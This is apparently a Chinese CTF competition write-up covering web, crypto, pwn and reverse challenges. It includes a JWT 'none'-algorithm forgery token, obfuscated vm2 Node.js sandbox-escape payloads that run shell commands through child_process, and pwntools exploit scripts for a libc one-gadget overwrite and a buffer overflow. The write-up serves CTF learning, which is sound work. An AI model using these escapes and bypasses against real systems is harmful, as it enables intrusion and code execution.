easy_login
解题思路
看注释静态映射到了根目录,访问app.js,controller.js,等可以看到源码,并且知道controllers是控制器源码目录,但是没有找到有用的源码
找到了/controllers/api.js
JWT认证试试把加密算法改为none,再篡改绕过
源码中使用的option是algorithm,和库中使用的不一样,只要想办法令secret为none或者undefined就可以使用none签名校验了,js特性:
secretid设置为[]也行... secert[[]]=undefined
payload:
username=admin&password=1&authorization=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI 6IjAuMSIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEifQ.
访问/api/flag
just_escape
解题思路
根据题目提示,访问 run.php?code= 得到源码
<?php if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) { $code = $_GET['code']; echo eval(code); } else { highlight_file(__FILE__); } ?>
从eval里的code这个细节猜测应该是js写的,php是假象
验证后发现,code执行的确实是js,还发现了很奇怪的地方
code=一些字符串也能出来键盘,发现过滤了' " +
尝试利用形如 prototype.toSource() 的方法获取函数的源码
感觉有点像 Hackim-2019 BabyJS的node.js沙箱逃逸
用了strict模式没法用8进制,继续测试还过滤了process exec等字符串
搜索发现github上有人提过issue,附带了两种逃逸Payload:https://github.com/patriksimek/vm2/issues/225
Aodzip:
可以利用字符串拆分和base64编码绕过过滤
global[[`eva`, `l`].join(``)](Buffer.from(`ENCODED`, `base64`).toString(`ascii`));
ENCODED替换成下面这段JS的
TypeError.prototype.get_process = f => f.constructor("return process")(); try { Object.preventExtensions(Buffer.from("")).a = 1;} catch (e) { e.get_process(() => { }).mainModule.require("child_process").execSync("cat /flag").toString(); }
第一种方法的b64编码绕过方法:
global[[`eva`,%20`l`].join(``)](Buffer.from(`VHlwZUVyc**yLnByb3RvdHlwZS5nZXRfcHJvY2VzcyA9IGYgPT4gZi5jb25zdHJ1Y3RvcigicmV0dXJuIHByb2Nlc3MiKSgpOwp0cnkgewogICAgT2JqZWN0LnByZXZlbnRFeHRlbnNpb25zKEJ1ZmZlci5mc**tKCIiKSkuYSA9IDE7Cn0gY2F0Y2ggKGUpIHsKICAgIGUuZ2V0X3Byb2Nlc3MoKCkgPT4geyB9KS5tYWluTW9kdWxlLnJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjU3luYygiY2F0IC9mbGFnIikudG9TdHJpbmcoKTsKfQ==`,%20`base64`).toString(`ascii`));
第一种方法的hex编码绕过方法:
?code=(function(){TypeError[String.fromCharCode(112,114,111,116,111,116,121,112,101)][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`cat /flag`).toString();}})()
flag{fdf3d1eb-2d02-4a5d-aebb-589f9e9a035e}
第二种方法的hex编码绕过方法:
(function()%7B%0A%09try%7B%0A%09%09Buffer.from(new%20Proxy(%7B%7D%2C%20%7B%0A%09%09%09getOwnPropertyDescriptor()%7B%0A%09%09%09%09throw%20f%3D%3Ef%5B%60%5Cx63%5Cx6f%5Cx6e%5Cx73%5Cx74%5Cx72%5Cx75%5Cx63%5Cx74%5Cx6f%5Cx72%60%5D(%60%5Cx72%5Cx65%5Cx74%5Cx75%5Cx72%5Cx6e%5Cx20%5Cx70%5Cx72%5Cx6f%5Cx63%5Cx65%5Cx73%5Cx73%60)()%3B%0A%09%09%09%7D%0A%09%09%7D))%3B%0A%09%7Dcatch(e)%7B%0A%09%09return%20e(()%3D%3E%7B%7D).mainModule.require(%60%5Cx63%5Cx68%5Cx69%5Cx6c%5Cx64%5Cx5f%5Cx70%5Cx72%5Cx6f%5Cx63%5Cx65%5Cx73%5Cx73%60)%5B%60%5Cx65%5Cx78%5Cx65%5Cx63%5Cx53%5Cx79%5Cx6e%5Cx63%60%5D(%60cat%20%2Fflag%60).toString()%3B%0A%09%7D%0A%7D()
babyupload
解题思路
题目很明显是一个session覆盖,读取现有的session,然后根据格式构造一个新的session
x08usernames:5:"admin";
上传时的文件名叫sess就行
然后为了绕过文件存在的判断,再随便构造一个什么文件,重新上传,注意参数attr=success.txt
最后在根据文件名规则构造SESSID就行了
PHPSESSID=432b8b09e30c4a75986b719d13
Crypto
GM
解题思路
题目使用的是Goldwasser - Micali加密系统。
已知n和phi,将p和q用n和phi表示如下:
pq=n,p+q=n-phi+1
(q-p)^2=(q+p)^2-4pq=(n-phi+1)^2-4n
p=((p+q)-(q-p))//2,将上面的东西代入可得p,然后q=n//p,可得q。
由加密式子:c = (pow(x, int(br + bi, 2), N) * r ** 2) % N
可知,当bi为1时有ci=x*ri^2(mod N)
当bi为0时有ci=ri*2(mod N)
因此可以通过判断ci是否可以开方来得到bi从而构造出明文m。
phi=9433451661749413225919414595243321311762902037908850954799703396083863718641136503053215995576558003171249192969972864840795298784730553210417983714593764557582927434784915177639731998310891168685999240937407871771369971713515313634198744616074610866924094854671900334810353127446778607137157751925680243990711180904598841255660443214091848674376245163953774717113246203928244509033734184913005865837620134831142880711832256634797590773413831659733615722574830257496801417760337073484838170554497953033487131634973371143357507027731899402777169516770264218656483487045393156894832885628843858316679793205572348688820
n=9433451661749413225919414595243321311762902037908850954799703396083863718641136503053215995576558003171249192969972864840795298784730553210417983714593764557582927434784915177639731998310891168685999240937407871771369971713515313634198744616074610866924094854671900334810353127446778607137157751925680243990905528141072864168544519279897224494849206184262202130305820187569148057247731243651084258194009459936702909655448969693589800987266378249891157940262898554047247605049549997783511107373248462587318323152524969684724690316918761387154882496367769626921299091688377118938693074486325995308403232228282839975697
p=(n-phi+1-((n-phi+1)^2-4*n).nth_root(2))//2
q=n//p
print(n == p*q)
Fp=Integers(p)
flag=[8496947713967625688747051917345259919849436616378127353206205506038021293461527020161946574400176146891485385957784205610395979657632413714059788772154009625247319812180747880252792622607786831662770906618083260055375307283152779156046374949223651130182151637961986612962279450309600099007561129237942698815049037854849280208609836192610790091804945437651984019023488119575757202741525228601541312849428856402128908223668136814737595015697632233564641564297265843315503282099677245418512862603605854455747457289844970204592796599838807708185464118863991858628774060793091469902148505618063854053683802025104272242737L, ......9284360439106097200619916948041609388694883218990061210999655992097233879569600259153454652172124311901481574591537012505549606844167205734104096056437004358437409242956950062006087940137574989853818759930745715347063176490584754845920092388473274566483977772371449998673939254033718009104683654279063531155084225563628400893140953174807734953557814350989893367589210948895081950353145884591280480145605788157295544933693377764648438161129019582379336721431250233599248589068614561999543811690436292766178683214889507719319582995521661427373023143166851579319227292422352955654319892618211522642716794092646601483067L] # encrypted flag
f2=[0 if Fp(f).is_square() else 1 for f in flag]
hex(int('0'+''.join(str(i) for i in f2),2))[2:-1]
最后用long_to_bytes转一下可以得到flag
pell
解题思路
pell方程无限多解(a不能是平方数,b=1,所以要是交互的时候遇到这两种情况,exit,再来一次就好)
程序交互有大问题,一次性发150条就直接爆,所以每次发一条,然后交互,然后ctrl c取消
exp:
import string
import time
from Crypto.Util.number import getPrime as getprime ,long_to_bytes,bytes_to_long,inverse
from pwn import *
context.log_level = "debug"
table='0123456789zxcvbnmasdfghjklqwertyuiopZXCVBNMASDFGHJKLQWERTYUIOP'
def sha256(content):
return hashlib.sha256(content).hexdigest()
sh=remote("39.97.210.182","61235")
sh.recvuntil("sha256(XXXX+")
pa=sh.recv(len('SLhlaef5L6nM6pYx'))
sh.recvuntil("== ")
m=sh.recv(len('3ade7863765f07a3fbb9d853a00ffbe0485c30eb607105196b0d1854718a7b6c'))
sh.recvuntil("XXXX:")
print pa
print m
def getpwd(password,mess):
#table = string.printable
Password = password
for i in table:
for j in table:
for k in table:
for l in table:
password=i+j+k+l+Password
# print password
# print sha256(password)
if sha256(password) == mess:
return i+j+k+l
sh.sendline(getpwd(pa,m))
sh.recvuntil("a = ")
a = int(sh.recvuntil(",")[:-1])
sh.recvuntil("b = ")
b = int(sh.recvuntil("\n")[:-1])
if b == 1:
pass
else:
exit()
y=1
while True:
x = int(pow(a*y*y+1,0.5))
if (x*x-a*y*y)==1:
break
y+=1
print a
print b
print x
print y
tx,ty = x, y
sh.sendline(str(x))
sh.sendline(str(y))
sh.interactive()
for _ in range(150):
tx , ty = tx * x + ty * y * a, x * ty + y * tx
assert tx*tx - a*ty*ty == 1;print tx; print ty
sh.sendline(str(tx))
sh.sendline(str(ty));sh.interactive()
Pwn
MarksMan
解题思路
from PwnContext import *
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'chall'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ctx.debug_remote_libc = False
local=0
def choice():
if(local):
p=rs()
else:
ctx.remote = ('39.97.210.182',10055)
p=rs('remote')
return p
def debug():
if(local==1):
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.symbols = {'sym1':0xCFF,'sym2':0xD63}
ctx.breakpoints = [0xCFF,0xD63]
ctx.debug()
def menu(index):
sla("Your Choice: ",index)
def create(size):
menu(1)
sla("size: ",size)
def show(index):
menu(2)
sla("id: ",index)
def edit(index,content):
menu(3)
sla("id: ",index)
sa("content: ",content)
def free(index):
menu(4)
sla("id: ",index)
choice()
debug()
ru("0x")
one=[0x4f2c5,0x4f322,0x10a38c]
libc_base=int(r(12),16)-(0x7ffff78609c0-0x00007ffff77e0000)
leak("libc_base",libc_base)
sla("shoot!shoot!",libc_base+(0x7ffff7ffdf60-0x00007ffff77e0000))
payload=p64(libc_base+one[2]-5)[:3]
for i in range(3):
sla("biang!",payload[i])
irt()
count
解题思路
from PwnContext import *
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
ctx.binary = 'count'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ctx.debug_remote_libc = False
local=0
def choice():
if(local):
p=rs()
else:
ctx.remote = ('39.97.210.182',40285)
p=rs('remote')
return p
def debug():
if(local==1):
libc_base = ctx.bases.libc
print hex(libc_base)
ctx.symbols = {'sym1':0xEDA , 'sym2':0x10AF}
ctx.breakpoints = [0xEDA,0x10AF]
ctx.debug()
choice()
for i in range(200):
ru("Math: ")
num=eval(ru('=',True))
sla("input answer:",str(num))
payload="A"*0x64+p32(0x12235612)
sl(payload)
irt()
Reverse
GAME
解题思路
arr0 = [249,91,149,113,16,91,53,41]
arr1 = [43,1,6,69,20,62,6,44,24,113,6,35,0,3,6,44,20,22,127,60]
arr2 = [90,100,87,109,86,108,86,105,90,104,88,102]
def check1(s):
if ((len(s)*len(s)%777)^233 == 513) and (len(s) < 100):
return True
else:
return False
def check2(s):
if (((((ord(s[0])*128+ord(s[1]))*128+ord(s[2]))*128+ord(s[3]))*128+ord(s[4]))*128+ord(s[5]) == 3533889469877) and ord(s[-1])==125:
return True
else:
return False
def check3(s):
arr = map(ord,s)
a = arr[6:30:3]
for i in range(len(a)):
if (a[i]*17684+372511)%257 != arr0[i]:
return False
b = arr[-2:33:-1]*5
c = map(lambda b:b[0]^b[1],zip(b,arr[7:27]))
if c != arr1:
return False
p = 0
for i in range(28,34):
if ((arr[i]+107)/16+77 != arr2[p]) and ((arr[i]+117)%16+99 != arr2[p+1]):
return False
p = p+2
return True
本文作者:ChaMd5安全团队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/129571.html